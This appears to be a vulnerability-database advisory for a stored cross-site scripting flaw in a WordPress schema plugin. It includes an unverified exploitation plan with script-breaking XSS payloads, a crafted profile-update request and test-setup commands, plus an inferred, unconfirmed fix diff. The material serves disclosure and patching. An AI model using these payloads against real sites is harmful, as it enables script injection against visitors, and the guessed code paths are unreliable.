CVE-2025-14069

Schema & Structured Data for WP & AMP <= 1.54 - Authenticated (Contributor+) Stored Cross-Site Scripting via User Custom Schema

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.54.1
Patched in
1d
Time to patch

Description

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' profile field in all versions up to, and including, 1.54 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.54
PublishedJanuary 22, 2026
Last updatedJanuary 23, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the exploitation of **CVE-2025-14069**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Schema & Structured Data for WP & AMP" plugin. --- ### 1. Vulnerability Summary The **Schema & Structured Data for WP & AMP** plugin (versions <= 1.54) fails to sanitize an…

Show full research plan

This research plan outlines the exploitation of CVE-2025-14069, a Stored Cross-Site Scripting (XSS) vulnerability in the "Schema & Structured Data for WP & AMP" plugin.


1. Vulnerability Summary

The Schema & Structured Data for WP & AMP plugin (versions <= 1.54) fails to sanitize and escape a custom user profile field named saswp_custom_schema_field. Users with Contributor-level permissions or higher can modify their own profile and inject arbitrary HTML or JavaScript into this field. This payload is subsequently rendered on the frontend (likely in the author archive page or on posts authored by the user) without proper escaping, leading to Stored XSS.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/profile.php (standard WordPress profile update).
  • Vulnerable Parameter: saswp_custom_schema_field.
  • Required Authentication: Contributor-level user or higher.
  • Preconditions: The plugin must be active. The schema output for users/authors must be enabled (usually enabled by default in schema plugins to provide Author schema).

3. Code Flow (Inferred)

  1. Input: A Contributor user submits a POST request to wp-admin/profile.php containing the saswp_custom_schema_field parameter.
  2. Storage: The plugin listens to the personal_options_update or edit_user_profile_update hooks. It retrieves the raw input from $_POST['saswp_custom_schema_field'] and saves it using update_user_meta($user_id, 'saswp_custom_schema_field', $value).
  3. Sink: When a visitor views a post written by that Contributor or visits the Contributor's author archive page, the plugin calls get_user_meta($author_id, 'saswp_custom_schema_field', true).
  4. Execution: The retrieved meta value is echoed directly into the page (likely within the <head> or footer as part of a JSON-LD block or raw HTML schema) without using esc_html(), esc_attr(), or wp_kses().

4. Nonce Acquisition Strategy

Updating a user profile in WordPress requires the standard _wpnonce found on the profile.php page.

  1. Authentication: Log in as a Contributor user using the authenticate_user tool.
  2. Navigation: Use browser_navigate to go to http://localhost:8080/wp-admin/profile.php.
  3. Extraction: Use browser_eval to extract the nonce from the hidden input field:
    browser_eval("document.querySelector('#_wpnonce').value")
    
  4. Field Identification: Verify the presence of the saswp_custom_schema_field input/textarea on the profile page.

5. Exploitation Strategy

Step 1: Payload Preparation

Since schema is often placed inside <script type="application/ld+json"> blocks, the payload should first attempt to break out of the script tag or be a standalone tag if the field is rendered elsewhere.

  • Primary Payload: </script><script>alert(document.domain)</script>
  • Alternative (if rendered in HTML): <img src=x onerror=alert(document.domain)>

Step 2: Inject the Payload

Send a POST request to profile.php to update the user meta.

  • URL: http://localhost:8080/wp-admin/profile.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • _wpnonce: (Extracted in Section 4)
    • from: profile
    • checkuser_id: (The Contributor's User ID)
    • saswp_custom_schema_field: </script><script>alert(document.domain)</script>
    • action: update
    • user_id: (The Contributor's User ID)

Step 3: Trigger the XSS

  1. Identify a post authored by the Contributor user.
  2. Navigate to that post's URL or the author's archive page (/?author=ID) as an unauthenticated visitor.
  3. Observe the HTML source for the injected <script> tag.

6. Test Data Setup

  1. Plugin Activation: Ensure schema-and-structured-data-for-wp is installed and active.
  2. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Content Creation: Create a post authored by the attacker user to ensure there is a frontend page to trigger the payload.
    wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="Contributor Post"
    

7. Expected Results

  • The POST request to profile.php should return a 302 redirect back to profile.php?updated=1.
  • The wp_usermeta table should contain the payload for the specific user ID under the meta key saswp_custom_schema_field.
  • The frontend post page source code should contain the raw string </script><script>alert(document.domain)</script>.

8. Verification Steps

  1. Database Check:
    wp user meta get $(wp user get attacker --field=ID) saswp_custom_schema_field
    
    Confirm the output matches the payload.
  2. Frontend Check:
    Use http_request to fetch the post authored by the contributor and grep for the payload.
    # (Metaphorical grep)
    response.body.contains("</script><script>alert(document.domain)</script>")
    

9. Alternative Approaches

  • Context Discovery: If the payload is rendered inside a JSON string within the JSON-LD, try a JSON-breaking payload:
    "}]</script><script>alert(1)</script><script type="application/ld+json">[{ "a":"
  • Profile Page XSS: Check if the payload executes on the profile page itself after saving (Self-XSS which can be turned into a full XSS if an Admin edits the Contributor's profile). Navigate to wp-admin/user-edit.php?user_id=[CONTRIBUTOR_ID] as an Admin to check for this.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Schema & Structured Data for WP & AMP plugin for WordPress (versions <= 1.54) is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' user profile field. Authenticated attackers with Contributor-level permissions or higher can inject malicious JavaScript into this field, which is subsequently rendered on the frontend without proper sanitization or escaping when visitors view the author's content.

Security Fix

--- a/admin/common-function.php
+++ b/admin/common-function.php
@@ -... (inferred save context) ...
-update_user_meta($user_id, 'saswp_custom_schema_field', $_POST['saswp_custom_schema_field']);
+update_user_meta($user_id, 'saswp_custom_schema_field', wp_kses_post($_POST['saswp_custom_schema_field']));
 
--- a/output/main.php
+++ b/output/main.php
@@ -... (inferred display context) ...
-$custom_schema = get_user_meta($user_id, 'saswp_custom_schema_field', true);
-echo $custom_schema;
+$custom_schema = get_user_meta($user_id, 'saswp_custom_schema_field', true);
+echo wp_kses_post($custom_schema);

Exploit Outline

1. Authenticate as a user with Contributor-level access or higher. 2. Navigate to the WordPress profile edit page (wp-admin/profile.php). 3. Locate the field corresponding to 'saswp_custom_schema_field' (User Custom Schema) and inject a script-breaking payload, such as: </script><script>alert(document.domain)</script>. 4. Submit the profile update to store the payload in the user's meta. 5. Navigate to a post authored by the attacker or the attacker's author archive page (e.g., /?author=ID). 6. The script will execute in the browser because the plugin retrieves the 'saswp_custom_schema_field' value and echoes it directly into the page source without sanitization or HTML escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.